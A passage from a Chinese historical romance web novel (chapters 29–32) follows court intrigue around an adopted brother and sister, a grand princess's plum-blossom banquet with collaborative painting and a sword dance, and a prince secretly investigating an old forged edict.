赵凝清与贺成洲洗漱完毕准备就寝时,已是子夜,小女儿早在夫妻二人出门前就交予外祖母照护。
玉帐轻垂,烛火熄灭,赵凝清困意来袭,但贺成洲翻来覆去。
“能不能好好睡?”
“我觉得不对劲。”
“明天说吧。”她打个呵欠。
“不搞明白,我睡不着,”他坚持,犹豫一小会儿,问,“乡君现在有没有心上人?”
“你要做什么,给她牵红线?比你职位高的,比你还老;比你职位低的,是年轻,但我估摸她也看不上,人家有个侯爵弟弟呢!”
“问题就出在侯爵弟弟身上,”日日在内城巡逻的人对异常的蛛丝马迹尤为敏感,贺成洲问,“你之前听她怎么谈她义弟的?”
她又一声呵欠:“她刚嫁入陆家的时候与我说过,义弟为父母收养的旧友遗孤,二人一同长大,关系甚好,只是义弟从军之后杳无音讯,三年一封家书也无,她以为凶多吉少,就很少与我谈这些,我自然也不会再追问。”
“你不觉得奇怪吗?关系要好,为何不通音讯?”
“可能是战事繁忙?”
“不会,再忙也不可能三年内每天都打仗。平日里操练休息兼顾,军中还有文书专门帮不识字的士兵写家书往回寄,至于中高级将领的书信来往就更为自由些。要是我,我十天半个月寄一封。”
真正在意的事情或者人,无论如何都会流露出关切。
他说得极是,赵凝清困意被驱散:“对,而且他以字代名,故意不让宴方知道?”
“闹大别扭了吧,当时发生什么事你还记得么?”
“当时不就是宴方与陆韫之结缘么,可这是喜事啊……”话一出口,赵凝清便觉得不对。
她想起李宴方说,她无心再觅第二春,实际上是已经寻到了?
她喃喃:“难道?”
他也道:“莫非?”
贺成洲明白了,萧偃与他一样厌恶书生文人的理由水落石出。
他说道:“如果你写个字帖,我照葫芦画瓢,你是不是觉着特别情意绵绵?”
她轻嗤:“得了吧你还练字?”
“问题是萧偃的字,摹的就是乡君的字,他今夜河灯里许的愿是海宴河清。”
宴,偃,音调接近,甚至连部分字形都一致,难道萧偃坚持用这个字也有这层缘由?
好大胆,好放浪形骸!
看透文字游戏的赵凝清易位而设想,品出其间情重、其中热烈,但李萧二人为义姐弟,这是否会给她带来麻烦与困扰?
她道:“守口如瓶,静观其变,切勿随意插手。”
贺成洲赞成,只是在心头叹气,他自己是天降良缘挫败青梅竹马,而萧偃既是青梅竹马,又是天降良缘,这小子怎么什么便宜都占了?
但这缘成不成,就看他的造化咯!
*
那厢有人已睡下,这厢却有人等待着手下传回的消息。
恍若芝兰玉树的公子早已经卸下面具与大氅,坐于厅中主位,他悠然闲散地靠着太师椅,修长白皙的手随意搭在扶手上,凭添几分佛像拈花的从容。
“王爷,有急报。”
他一挥手,命人上前。
来人风尘仆仆,似栉风沐雨而来,狼狈不堪,座上公子蹙眉,清俊雅逸的面容上浮现细微的厌烦。
那人不敢直视主子,道:“小人率人马前往崇州萧家时,撞上另一批黑衣人,我等与对方血战,夺得信物,将黑衣人与萧家
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人全部灭口。”
言罢,奉上物件,公子身旁的仆从立即接过转呈。
“那批人什么来历?”公子不拆阅,反而询问。
看似温和的语调,却叫那人心惊胆战:“小人正在查,定会尽快回报。”
公子淡然道:“留些后手在萧家,你速去查明与何人相撞。”
若是萧偃的话,则不妙。
“是。”那人见有惊无险,匆忙退下。
这时,公子才不急不徐地拆开信封。
那是一封家书,陈旧的家书,其上腐朽之味难挡,他皱眉,但仍是展信一观。
他目光掠过信笺,得到线索,将其置于桌面,指尖轻敲二三下。
良久,他白皙清雅的面容沾上一丝喜色,沉声道:“天助我也。”
身旁的仆从殷切地问是否要就寝,他摇摇头,其实,今天他等的并非是崇州萧家来的消息。
须臾,又有一人至,捧着两艘沾水的纸船花灯。
见状,公子嘴角勾起笑意,招招手命人呈上。
这两盏花灯极其容易寻得,打捞搜检无需费太多功夫,这可要多亏李宴方与萧偃的独特选择。
灯中藏的祈福红笺被他慢条斯理取出,两张红笺上均落墨四字,一为“海内升平”,二为“海宴河清”。
八个大字,相同一副风骨,各成两派气韵。
前者遒利飘逸,后者清劲沉健。
他虽自负博览群帖,但此刻也无法确定哪四字为李宴方所写,哪四字为萧偃所书,尤其是相同的“海”字两相对比,更觉二人在书法上大有共通之处。
若是二人互相仿照对方笔迹,当能以假乱真。
这倒让他意外,性格如此迥异的一男一女写出来的字竟然会难以分辨,过往若是他听说,必然会难以置信。
这是谁仿了谁的字迹?谁临了谁的帖?
突地一阵寒风吹来,冷意洋洋洒洒,激得他冷不丁一颤。
脑海中划过乍现的思绪,他忙捕捉下来。
若是一个女人,为了某个目标,长期临摹某个男人的字迹,偷其风骨,窃其神韵,是否也能瞒天过海?
矫诏?难道她真的矫诏?
那时父皇尚在人世,她怎么敢的啊?
皇兄之死,难道真的与她有关?
他阴沉地吩咐仆从道:“十几二十年前,灵章郡主仍在京中时,曾办过几次闺内诗会,派人去寻昔年留下来的旧迹。”
本朝多以食邑为封号,而灵章郡主便是少有的以才学文名获得封号的皇亲国戚,“章”以彰文采非凡。
郡主未出阁前颇具盛名,那时无数闺秀才子皆以与郡主结交为荣。
那么她,是否留下诗文往来的痕迹?
领命那人还未离去,他又补充:“郡主北嫁崇州后,在当地若也召开诗会,留有墨宝,一并寻来。”
下人恭敬点头,前去安排。
他目光一瞥那封散发着难闻的陈腐气味的旧家书,呢喃道:“萧侯,你求的海宴河清,恐难以兑现,而你如今效忠之人,怕是与你有着深仇大恨,其间血海难逾。”
他起身踱步,遥望那一轮圆满的中宵月:“你若知晓,该当如何?而我愿助你,你又如何?”
月太遥远,风太沉默,无人相应。
29. 姐姐
年后,萧偃接到春猎阅兵的任务。
届时太后与皇帝将在围场检阅禁军与飞捷军,北戎使团陪同观阅。
其中何意,不言而喻。
萧偃忙碌起来,三天两头往军营跑,时而几日不回府,李宴方重拾武技的大计划由紫电青霜配合完成。
这天黄昏,她练完之后沐浴完毕,批好衣,坐在房中,照清正在替她梳头。
外头传来熟悉的脚步声,她知道,萧偃来了。
果真有叩门的声音直达耳畔:“阿姊,我能进去么?”
照清梳头的手一顿,她好像终于发现义姐弟之间的微妙,按理说,如今乡君是该梳妆整齐去正厅见他,而不是披头散发在内屋准许他入内。
照清以为乡君会拒绝,但她只是淡然道:“替我简单挽起来吧,然后唤他过来,他定有要事。”
要事,好像也说得通。照清随后依李宴方之言,替她打理一番,出去通传。
李宴方走出内间,萧偃一身窄袖黑衣,其上金线绣做猛虎,威风凛凛,很衬他的气质。
可是谁能想到这样一个人见到她的第一句话是:“阿姊,救命,我被人盯上了。”
可他没有急切、没有惊慌,一点都不像把这件事当回事的模样,甚至闪过一瞬戏谑,他都不急,她急什么?
李宴方毫不在意地问:“何事?”
“崇州萧家遭了血难。”
“什么?”李宴方震惊,他对萧家没什么感情,但这件事却意味着有人已经对他动手,毫不顾忌地,正大光明地。
“有人去萧家翻找旧物,不知道在寻什么,也不知道找到没有。看来我还是太给萧家留情面了,若是早些将他们灭门,也不至于有今天。”他冷笑。
难得生出一丁点儿仁慈,但想不到这会化为刺向自己的刀锋,他笑得凄楚,藏着若有若无的疯癫与恨意。
她看向这张成熟的、棱角分明的脸,透过暗沉沉的眸子,想起那个初来乍到的萧凭陵,戒备疏离,可怜却凶狠,像养不熟的野兽幼崽。
你既怜惜他,怕他死掉,又害怕他长成之后反咬你一口。
他一定是又想起过往最黑暗的那一段岁月。
李宴方提起桌上净白无暇的执壶,倒下一杯温茶,递给站着的萧偃:“喝吧。”
她盯着他微微起皮的干燥嘴唇,冬日,奔波,这很正常。
天生含笑的薄唇此刻再度勾起一点几乎瞧不出的变化弧度,萧偃知道这是她刻意打断自己的思绪,她总是会发现他不对劲的情绪,在第一时间内。
阿姊,其实你就是很在乎我的,对吧?
可惜,这一点在乎还不够。
配套的白瓷茶杯盈润,盏中的琼露甘甜,回味悠长,茶不醉人人自醉。
他耍起无赖:“阿姊救我。”
她没有拒绝,盯上他的人,对她也必定不善,早已是绑在一起的同谋共犯,何谈救不救?帮不帮?
李宴方分析:“你与萧家早已无联系,没有必杀萧家之由。他们杀人灭口大概是因为暴露了身份,或者遇到什么不得不毁尸灭迹的情况。”
“萧家留下的最关键信息就是你生父曾效力于崇州军,除非他们深挖到了什么,涉及重大,不得不顶着被你追究的风险斩草除根。”
“你猜,他们会不会在等待你的反应?在崇州留有后手?”
李宴方想到了陆朴,陆朴想杀她,就要限制萧偃,甚至也杀了他。
可一个如日中天的王侯突然暴毙,太后必然全力追查,掘地三尺也要挖出凶手,他若要制造死局,就要选出替罪之羊迷惑太后,给天下人一个交代。
这并非一时一刻之谋,于是他从旧事入手,寻找突破口?
“我会调动你的人去搜寻线索,这件事你不必担忧,春猎检阅在即,忙你的去吧。”
低落诡异的、透着血腥味的情绪仿佛彻底从他身上消散,他带着一副好心情:“阿姊收到吴国大长公主的赴宴邀请,我过些时日刚好休息,阿姊你带我一同去吧,让我见见世面如何?”
吴国大长公主身份尊贵。
本朝历经四位帝王,分别是高祖、太宗、高宗以及当今少帝。
吴国大长公主是高宗的亲姊妹,少帝的皇姑,她若邀请,受邀人巴结她还来不及,怎么胆敢拒绝?
而邀请既然送到李宴方手上,也必然有萧偃的一份。
李宴方发现萧偃很喜欢在自己面前示弱,好让她可怜一头猛兽。
这些小诡计,难以追溯源头,好像在很久很久之前,两人还是小孩子的时候,就已经成为固定的相处模式,她早早习惯,更不会因此尴尬或者愠怒。
但是现在,李宴方直觉到危险,其名为自我陷落,而且下方好像是个万劫不复之地呢。
危险,但充满引诱。
心头蓦然漏了一跳,好像被悬在空中,下一秒就会坠落。
李宴方突然乱了。
可她也只是平静地说:“请帖我已经替你收下了,放在书桌上。”
“好。”他笑着离开,去寻那一张帖。
这场盛邀下,欲对他下手之人,是否会露出马脚?
*
二月便是梅花盛开的时节,吴国大长公主在城外有一处别业,名为和月山庄,其名乃是取自一首词,全词为:
“湿云不渡溪桥冷,蛾寒初破东风影。溪下水声长,一枝和月香。
人怜花似旧,花不知人瘦。独自倚阑干,夜深花正寒。”(注1)
全文咏梅却无一“梅”字,处处皆得梅之神韵,耐寒、争春、暗香、孤高、傲骨。
看来这位吴国大长公主定然是醉心诗词之人,爱梅入骨之人。
和月山庄遍植寒梅,红梅绿萼,垂枝龙游,各展芳华,尽态极妍。
天晴日好,风雪初霁,皑皑白雪中万梅盛开,此情此景,置身其中,好似畅游仙境,妙不可言。
仙殿玉宫,琼林芳树,宴未开时,李宴方与萧偃初来乍到,便由小仆告知,大长公主有命,今日宴前,先请各位贵宾自由观雪赏梅一个时辰,而后再于春醒堂中开宴。
小仆说完便恭敬地退下。
萧偃环顾四周,梅枝虬虬,梅花点点,梅香阵阵,他赞赏道:“大长公主养的梅确实不错,可就不知道她葫芦里卖的什么药?炫耀?”
言罢一声轻笑,谐音冷不丁把李宴方逗开怀,她思索一番:“大抵也有关吧,梅花各品,习性有异,将它们全都照料得如此繁盛,本就费工夫,不让人观赏赞美,便如锦衣夜行。”
她指尖轻挑一支红梅,数朵艳红仿佛绽放在她如玉的指尖,红白映照
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,煞是动人。
她曼声道:“此宴本就为赏梅宴,不论梅何以成宴?大概就如同考试一般,先告知书生从哪些书册中出题,提醒士子把书读透了。”
他点头称是,却毫不在意这一场考试,目光定在纤手红梅上,问:“阿姊最喜欢红梅?”
“也不尽然,红梅浓烈、绿梅清幽、白梅冷傲、粉梅可爱、异色独特,不说品类,甚至同一品类的不同株也各有千秋,很难说确定哪一株哪一类是最喜欢的。”
“看来,阿姊很博爱。”萧偃抱臂,笑吟吟的。
李宴方接道:“大长公主才是真正博爱之人。”
话音还未落,身后传来窸窸窣窣的走动声,萧偃凤目冷扫,发现是一位年纪轻轻的女子,他有印象,此人在麟德殿宴会中与李宴方比邻而座,身份当不低,他收起警戒。
那女子正是上官柔仪,良辰美景的偶遇来得突然,她几乎是想都没想就往这里来,她含笑打招呼:“见过乡君,见过萧侯。”
“上官小姐,如此凑巧,怎的就你一人?”李宴方很客气,萧偃见是她的相熟,就很自觉地悄然退至她身后假装赏梅。
她大大方方道:“我本与好友一道同来,只是这曲径通幽,梅林纷繁,把我与她分散,不过赏不同美景,也是各自的机缘,待会春醒堂中自会相见。”
她总不能把范妙瑗提议她自己过来打招呼制造独处机会的计划供出来吧?
李宴方一听,倒也合情合理,何况这里是吴国大长公主的山庄,安全无需多虑。
上官柔仪偷偷打量萧偃,心道,第一次在玉辉堂他没见到她就算了;第二次在麟德殿,萧偃捧着万象芳华而来,她就坐在李宴方边上,他也和没瞧见一般。
现在,他退到李宴方身后,眼神飘向别处,她是什么洪水猛兽吗?
上官柔仪心头微动,走上前去,亲热地抱住李宴方的臂,呢喃:“听闻今日大长公主这宴不简单呢,她想要各方来客展露才华,帮她完成一幅长卷,可是我画技粗陋,听闻乡君姐姐能书擅画,前来讨教几招,免得待会出丑。”
她与李宴方越亲近,萧偃就越退后,神色也越冷,但那并非愠怒,而是事不关己的淡漠,只有在听到长卷作画一事后,面上转现一缕深思。
李宴方听闻轻声道:“大长公主原是打算这般,那么她让我等先观梅赏雪也在情理之中了,这般盛景若无诗文画作记录,以待后人遐想,便是憾事一桩。”
遥想当年兰亭雅集,成为文坛盛事,为后人津津乐道多年,并效仿无数,大长公主想再现这等景致,这一处精心打造的人间仙境也当得起。
“所以,乡君姐姐现在能不能带我去开开小灶?”上官柔仪笑意盈盈,甜着声问。
李宴方招架不住,只道:“指教不敢当,只能以我这个不入流画家角度谈谈一二。”
“姐姐可不能妄自菲薄呀。”上官柔仪得逞,然后说着要去问小仆寻来文房四宝,把李宴方拉出梅林,留下一个莫名其妙的萧偃。
萧偃轻叹一声。
阿姊给别人开小灶去了,她变成别人口中的姐姐,她好像忘记他还在此处,更不在意他会不会出丑。
他本要出声提醒她,迟疑的瞬间,寒意入口,冻得他发酸。
注1出自宋代朱淑真《菩萨蛮·咏梅》。
30. 再逢
人影消失在重叠的白雪寒梅中,萧偃竟徒生出一股孤独萧索来,这一瞬,明明知道阿姊不是抛弃了他,但他就是有不被选择的失落和寂寞。
她就那么放心地把他丢在这里,自己走掉,这股情绪里或许还藏着一二分幽怨,以至于他想无理取闹。
他想踹倒枝干苍虬的梅树,他想踢飞嶙峋奇巧的山石,他想栽倒直下,躺在白茫茫的寒酥中,待雪再度落下,冷了他躁动不甘的心。
唯一理智在此刻阻拦着萧偃以自毁的形式唤回李宴方的注意力,他干脆离开这里,前往春醒堂而去。
可来者不善,善者不来。
没踏出多少步,就迎面遇上老熟人,正是那木拓。
仇人相见,分外眼红。
那木拓身边是礼部陪同的官员。
很显然,北戎王子也在大长公主拟定的贵客名单之上,大晟有着浓厚的文学底蕴,兴许是大长公主担忧他不能解其中之意,特地让礼部派出一位有见解、有学识的官员陪同讲解。
萧偃念及此,轻笑,很友好地见礼:“愿王子此行顺利,畅游香雪海。”
那木拓并未逞口舌之快,只道:“借萧侯吉言,事事顺遂,得偿我愿,赏尽天下奇景。”
两人就此擦肩而过,萧偃想,这贼孔雀肚子里不知道多少坏水,尤其是他在上回麟德殿里惨败而归后,居然没有后手,能这么老实?
他直觉不妙,可这是大长公主设的宴,他难道敢在太岁头上动土?
萧偃冷哼,这样的人在战场遇见反而容易解决,要是死在这儿,北戎就有理由狮子大开口,要不然就算不杀他,也要把他套麻袋里打一顿。
待萧偃东转西转,晃了一路,到春醒堂时,大长公主定下的时间已到,堂中文人墨客、达官显贵齐聚一堂,他跟随引领的小仆至安排的位置坐下,好巧不巧,就看到他的阿姊与新认的妹妹并排而坐,两人亲昵无间。
春醒堂内飘香的贡茶,有些酸。
他故意别过眼去,却见到门前来了一位雅逸出尘的男子,肤若凝脂,鬓若刀裁,瞳若点漆,缓步踱走,身姿若东风拂玉树。
有些似曾相识。
眼尖的人早已前去见礼:“恭请宋王福安。”
萧偃留了心,这位宋王与自己打过的照面并不多。
宋王李攸为太宗第五子,今年二十有五,母家既不显赫,也非没落,其初入宫为美人,生皇五子后升婕妤,去世后追封为嫔。
高宗夺嫡时,他尚年幼,早退出争夺战,自高宗登基,与冯后二圣临朝,他受封离宫,深居简出,替亡母祈福诵经,直至今年尚未婚配。
时人调侃,他带发修行却差点做了真和尚。
高宗离世前本想给他指婚,但后来因病痛缠绕而有心无力,待少帝登基,太后主政,太后也曾给他物色过人选,只是被他以皇兄驾崩痛心不已而拒绝,后来太后渐渐地随他去,告知他若有心仪人选便请皇嫂下旨赐婚。
不知李攸到底如何作想,反正是孤寡至如今。
于太后而言,他不在明面上拉帮结派,便无甚影响。
众星捧月之中,宋王进退有度,叫人如沐春风。萧偃心想,看来想与他结交攀亲的也不少。
众宾落座,吴国大长公主至。
大长公主李澄,四十上下,雍容华贵,大方沉着,她简要向众人道明了此次宴会的主题。
她的和月山庄精心打造四载,今日终得见客,为记录这一日的盛况,她邀请各方贵客赏雪观梅,共同书写绘画一幅长卷,纪念此情此景。
大长公主深知来宾均各有所长,难分高下,故而这落笔次序便抽签而定。
话音刚落,便有丫鬟捧着雕刻着梅花的朱签翩翩而来,她们依据场中座次,将托盘一一捧于尊客面前,尊客随机抽取。
抽签完毕,第一笔竟是风度翩翩的宋王李攸。
大长公主笑笑:“五弟少时临池学书,练得一手鸾跂鸿惊的笔势,如今也当叫我等见识见识了吧。”
李攸起身,温文有礼:“皇姊谬赞,攸不过一介俗人,今抽得头签,战战兢兢,不敢懈怠。”
大长公主担心来客皆如他一般小心翼翼,便对着李攸道:“尽心便好,贵客落笔,便如庄内万梅盛放,各有千秋。”
此言亦是给众人吃下颗定心丸。
李攸已谦虚过一轮,此时再出言便是却之不恭,他移步堂内桌案,提笔,凝着那一幅空白的澄心堂纸长卷,若有所思。
他偏过头,似回忆旧景,又似远眺望梅,须臾,提笔如龙蛇游走。
苔梅苍虬,其上梅花点点,如缀玉缀星。
他在那株刚刚绽放于纸上的梅一旁,提下四字“苔枝缀玉”。
而后便收笔,落之于琉璃笔架山上。
大长公主下座,对着墨迹未干的苔梅连连点头:“骨秀,神亦佳,落款可是宋人姜夔的《疏影·苔枝缀玉》?”
“正是。”李攸含笑点头。
拿着第三笔朱签的李宴方听闻“苔枝缀玉”四字,突然警觉,这正是上元射覆的答案,她仔细打量李攸,身姿挺拔如竹,浑身贵气闲雅,确实有几分那人的模样。
咏梅之词何其多,他偏偏写了这一首,独爱?
并非。独爱,则在射覆之时就当毫不犹豫脱口而出。
他是以此举寻找到上元之夜那位面戴面具的射覆对手?
李宴方瞥一眼远处的萧偃,心暗道,莫不是这人说对了。
李攸真因为一次射覆的心有灵犀,而对自己产生些不便宣之于口的情愫,从而以如此隐晦的形式表达?
萧偃接下她的眼神,可不像麟德殿那时示意她安心。
因他仍是觉得,此时此刻他还是被阿姊抛弃的,他当生她的气,等着她来哄,怎么能先“投敌”,大大咧咧地给她出谋划策呢?
他装傻充愣,视若无睹,不接招,除非阿姊给他好眼色……
萧偃眼神飘忽之间,见到同为贵客的贺成洲,贺成洲眼底也有一瞬惊讶,他慌忙地给身旁的赵凝清递眼色。
不知是惊讶于宋王李攸就是那一位射覆敌手?还是贺成洲向赵凝清求援,好混过这一场文才比试?
四人各怀心思之际,
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众人见大长公主已赞其书画,皆附和。
大长公主很是满意这第一笔,她含笑询问:“这第二笔是哪位?”
春醒堂内又一瞬沉默。
赵凝清瞥一眼李宴方,决定替姐妹试探一二,她答应贺成洲拿下他第二笔的签子,也顺便挽救一下武夫的颜面。
她起身应道:“回殿下,是凝清。”
从容起身,一点也没有偷偷摸摸私下换签的难为情,幸好这一次宴会充满文人的雅适随和,不似宫中大宴,为夫妻共座,否则还真不知道如何作弊。
大长公主十分客气:“早闻礼部侍郎千金才华横溢,请。”
赵凝清恭敬地提起墨笔,故意打量长卷几眼,确认字迹与上元射覆之人一致,她想,宴宴对此人是否有兴趣?
她故意提笔在苔梅间隔之外下笔,若宴宴想要回应则可以落墨于苔梅之侧,以表心意。
至于这位置要是被后来者先占去,那她也没办法,只能叹一句你等无缘了。
思量之间,一幅墨梅便跃然纸上,梅枝挺劲有力,梅花疏落有致,简约洒脱,清新秀致。
大长公主见她年纪不大,笔力不俗,抚掌称赞,请出第三笔。
赵凝清回座,待她一坐定,发现第三笔恰是李宴方,她不由得紧张起来,宴宴会选择何处下笔?她是否认出李攸?
李宴方落落大方走至案边,提笔,她似是毫不多想,在远远瞥到画卷上赵凝清所画的疏梅,她就已心中有数。
走笔挥毫,落墨浓厚,她自赵凝清留下的梅枝一侧入手,画出嶙峋奇石,将梅衬托出透石而生、不破不立的豪情万丈来。
而后,她笔势一改,于山石延申之处画就粗壮梅枝,一桩老梅横卧水面,悠闲从容,不为外物所动。
画就,李宴方虚心道:“我与凝清情同姐妹,我便擅自做主画于她之下,还望殿下海涵。”
她明为谦虚,实则向殿下解释一番为何依赵凝清之梅续作,而独独跳过宋王之梅。
她其实对李攸印象尚可,但并不想众目睽睽之下惹麻烦。
大长公主大度,并不在细节之处耿耿于怀,赞许地看了她一眼道:“一梅独立,一梅悠哉,有张有弛,别开生面,不愧是当年背临《九重山色图》的画坛翘楚。”
大长公主她回座上后,吩咐近侍主持秩序。
这一出后,李攸颇感失落,悄然攥紧袖中那一方被她遗落的绢帕,他心想,既是在皇姊的山庄中,定然还有机会可相见。
这时的萧偃摩挲着那一根刻着“十八”的梅花朱签,沉思不语。
他要做什么好呢?画在阿姊旁边,还是为她题字?可是二人之间,貌似相差太远,间隔太多。
这一幅长卷兴许真的会流芳百世,他当做什么?
母亲擅书画,阿姊承此道,经年日久里他耳濡目染,捡了些皮毛,糊弄应对倒也并非不可,但比起醉心此道的文人墨客,诸如李攸之流,却是自爆短处。
他将朱签刻字的一面反扣于桌上,有些响。
犹豫不决时,他干脆放下。
闭上双眼。
31. 剑舞
文宴正酣,梅花朱签上的数字一个个逼近萧偃手中的“十八”,不多时,那一个数字就由大长公主的近侍念出。
萧偃毫不犹豫地起身,春醒堂中数逾过百的目光瞬间定在他身上,除了画下第三笔后就兴致缺缺的李宴方。
萧偃一瞥,哦,她生气了?
但他置若罔闻,不为所动。
他缓步于长案前,似有所思地打量留下不少佳作的长卷,他佯作汗颜,对座上的大长公主报以歉礼。
“承蒙殿下盛邀,微臣遍观长卷,深为精妙墨意折服,然微臣乃一目不识丁的武夫,笔下枯枝败叶无法与诸君墨宝相提并论,不敢落笔。”
萧偃停顿,主位上的大长公主柳眉轻挑,难道他自恃功高,敢拂她的面子?
座上宾皆是名利场中的老狐狸,如何读不出他的推拒之意?连心不在焉的李宴方都抬起头注意场上动静。
他想做什么?不管怎样,以他的心性都不至于做到无故冲撞贵人的地步,李宴方颇有些担心地想。
而座旁的上官柔仪才像是真一副置身事外的模样,她桌上将口味独特、口感劲道的兔脯零嘴递给李宴方,纯属看热闹不嫌事大。
李宴方点头致谢,放入口中,没仔细品咂是什么滋味。
大长公主的耐心必然有限,萧偃继续道:“值此盛事,蒙殿下错爱,忝居席中,愧疚不已。然则听闻唐时有张旭观公孙大娘舞西河剑器,草书因而长进,微臣自知无张旭之才,仅懂剑术一二,欲折梅舞剑,以娱众宾。若激发文思画意,为幅卷增色,不知殿下可否恕微臣无才冒犯之罪?”
主座之人饶有兴致打量这个微微躬身却一身傲骨的重臣,他好似不愿意留下书画,故来与她谈条件,有意思,有脾气。
大长公主不似先前客套夸赞,只是嘴角噙笑,而后断然道:“准。”
折梅舞剑,亦是雅事,人心之中轻泛的波涛眨眼间归复平静。
萧偃阔步而出,将春醒堂内浓郁沉醉的风雅气息甩于身后。
堂外,寒意渐重,叫他想起边塞的风刀霜剑,但差别在于,洛都的冬,还是太温和了。
林中梅影重重,花枝缭乱,萧偃踏入其中,步履从容,探寻到一支生长姿态恰可为剑的红梅。
枝上霜雪重,折下之时,堆积在粗糙黑褐枝干上的白雪尽数落下,傲骨梅枝发出冷硬的一声脆响,掩盖雪声飒飒。
这是一柄并不算笔直的梅剑,点缀红梅数朵,但足够用了。
剑风起。
梅林震簌,枝头雪,石间雪,纷纷化为剑中寒意。
梅枝震颤,寒霜烈气附着于其表面,凝出剑光,寒彻冻骨。
舞剑之人,踏步似流星,挥剑若游龙。
流星乱眼而自明,游龙潜渊而自若。
霎时,有夹雪冷风啸然而过,如天幕劈裂,如幽渊沸摇。
星斗迸碎,神龙腾浪。
龙出于渊,战于野。
杀气腥烈,仿佛喊杀沸天。
剑枝红梅在鏖战中纷纷坠落,落得干脆,落得惨烈,落得绝然,落在皑皑无际的白雪上,增了颜色,添了悚然。
座中众人皆目不转睛,被剑舞之刚猛热烈而吸引,心潮皆澎湃不已,尽被拖入战场之中。
一人痴迷不已,震惊不已,畏惧不已,失神喃喃道:“此威,此烈,当有击缶相应,战歌相和。”
话音未曾飘远,萧偃却突然将剑意急转直下,落尽红梅的剑枝轻点于地,似神龙俯首,隐入尘埃。
威不再,烈已远。
天穹沉静,四野风平。
剑势寥落,剑影旷远。
天地一孤影,而已。
剑收。
座中默然,连主座上的大长公主都不语多时。
梅枝藏锋,梅花落血,观其得新奇,品其知浓烈。
可正是这一场剑舞,造诣高绝,精彩难忘,才把座中客尽带入其中,令众人在大感畅快之后,深感怅然。
有人不曾忘记萧偃先前对大长公主的请求,虽然从众宾面色看来,这一场剑舞足够难以忘怀,但他,要萧偃承他一个面子。
他要提醒大长公主先前允下的诺。
这一场以寂寞收场的风雪斩梅,尚在春醒堂内留下残风。
宋王李攸起身,整衣,恭敬对大长公主道:“萧侯剑舞精妙绝伦,正是把寒梅秉性展现得淋漓尽致。”
“梅,傲风霜,耐酷寒,于春来之前,归藏敛刃,不与百花争锋。攸心有所悟,欲再于长卷中落笔,不知皇姊可允?”
座中人如梦初醒,终于从那场浩荡的风雪中抽身而退,原来萧侯展现的是梅与天寒地冻的搏杀,是梅谦虚从容的神魄,果然精妙不凡,精妙不凡啊!
大长公主点头,李攸提笔作画。
只有慢慢走回座上的萧偃露出一个意味深长的笑,这并非知己相逢的欣喜,他有一种不被人理解的落寞。
一身伤痕,拼杀出血路,但仍不改其孤星寥落的处境。
是,这是一场夹杂着腥风与杀意的眉目传情。
可惜,场中唯一能懂他心意的那人,不知道是真瞎还是装瞎。
那瞎子甚至还在吃兔脯,有这么好吃吗?
他也尝一尝算了,好吃的话让家里的厨子做。
*
如萧偃先前所言,另辟蹊径的折梅舞剑果真成促成了一场文思泉涌,给春醒堂中的文人风雅注入一股强劲独特的风格,最终,让验收长卷的大长公主喜笑颜开。
她很快安排下新的项目。
只不过这项宴游说新也不新,是曲水流觞,但说新鲜也新鲜,冬日滚泉,流经奇石梅林,雾气升腾,让寒冬被混含清冷梅香的暖雾驱散,更显万梅风姿。
且林中泉畔,或玲珑石边,更有乐伶奏雅乐阵阵。
人座其间,待泉中流觞,闻清歌雅音,品梅香花意,堪称风流乐事。
赵凝清坐于李宴方身侧,环顾四周美景,连连称赞:“大长公主真是别有巧思,花树错落,奇石参差,不便按身份排座次,更不便在奇石上写字作画,可以安心吃吃喝喝了。”
“你有事就问吧。”李宴方早看出来她挤过来的意图,按山石走势安排座位,客与客之间有足够的间距,不惧隔“梅”有耳,二人谈话间的顾及也少了许多。
她贴近,在她耳边道:“你对宋王如何
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看?射覆之人,心有灵犀哦。”
李宴方噙着淡淡的笑意:“好啊,君子如玉,学富五车,如何不好?”
“我瞧着他对你有意,咏梅诗篇千千万,偏偏写那一篇。”赵凝清并不拐弯抹角。
李宴方一想到颇为有缘的李攸,突觉心头乱绪丛生,她直转话题道:“你说,若是有一个人,他喜欢我,追求我,但我不拒绝,暂时也无法接受。”
“这样钓着人家,是不是太不道德了?尤其是我见旁人对他倾心时,更觉罪过。”
李宴方可能要比上官柔仪都清楚,上官柔仪来接近自己是什么目的,李宴方从不打算促成,也并不出手阻拦,像做一个无法抽身的旁观者。
她少见的被这举动迷惑,也少见的有举棋不定的时刻。
但是在今日上官柔仪又一次的出现后,她突然醒悟,应当斩断与萧偃之间的混乱关系,而这时候,李攸又恰到好处地现身。
李宴方当是要作出决断了。
赵凝清听得很迷糊,但她很理所应当地认为李宴方口中的那个人是宋王李攸。
她瞪大双眸问:“他喜欢你是他的事,你负的哪门子罪?”
李宴方偏头朝她一笑,是自嘲、讥讽,甚至还有一丝一毫作恶的得意:“那你觉得……我该继续钓?”
赵凝清正欲说——那就钓着呗,反正我看他也挺心甘情愿的。
话未出口,身后花林中有佳人踏着清乐节拍,珊珊而来。
“宴方姐姐可知这些伶人来头?”
梅影后,一声清脆若莺啼的问话传来,李宴方回首不必回首,便知是上官柔仪。
真是说曹操,曹操到。
*
雾气缭绕,将不远处梅枝下三名贵女的身姿笼得影影绰绰,仿佛此地真为瑶池,此人真为仙子。
坐于石上的落弦音轻抚横于膝上的仲尼式七弦琴,修长如玉的指吟揉丝弦,宽广、空寂、浩渺的古音缓缓荡开,似能拂雾远去,窥见花深雾迷背后的仙子玉人。
他出身微寒,幸有一副瞧得过眼的好皮囊,又学得一手好琴艺,被吴国大长公主的“寻玉官”于江南寻得。
寻玉官,并非朝廷官职,而是吴国大长公主丧夫孀居后派往各地寻觅美男子的亲信。
寻玉官不同于带有权柄的“花鸟使”会强取豪夺,寻玉官通常只会明码谈价,所以,被寻玉官挑选入大长公主和月山庄的,大多是心甘情愿搏名利、求富贵的男子。
落弦音最初也是乐意尽心尽力侍奉大长公主的一份子,可而今已然不是。
他隐约能听到那几名女子在谈论乐伶,突然抬头,接住其中一人凝望而来眼神,绽出一个清风朗月般的笑。
正是上官柔仪。
她心头骤升出一股说人坏话立刻被听到的窘迫,故作无知无觉,目光转向另一处梅林。
恰是一曲奏毕,他抱琴,起身,拂袖,整衣,分花拂柳,从容迈步向上官柔仪三人。
他走近了,抱着琴的手,白皙,骨节分明,修长如玉。
这当是一双最适宜弹琴的手了。
可在无人发现之处,那能拨动琴弦的洁净指甲,内藏玄机。
32. 乐伶
美男行云中,缓步拂玉枝。
上官柔仪眼睁睁瞧着,那名貌若潘安的乐伶含笑朝自己走来,心跳加速。
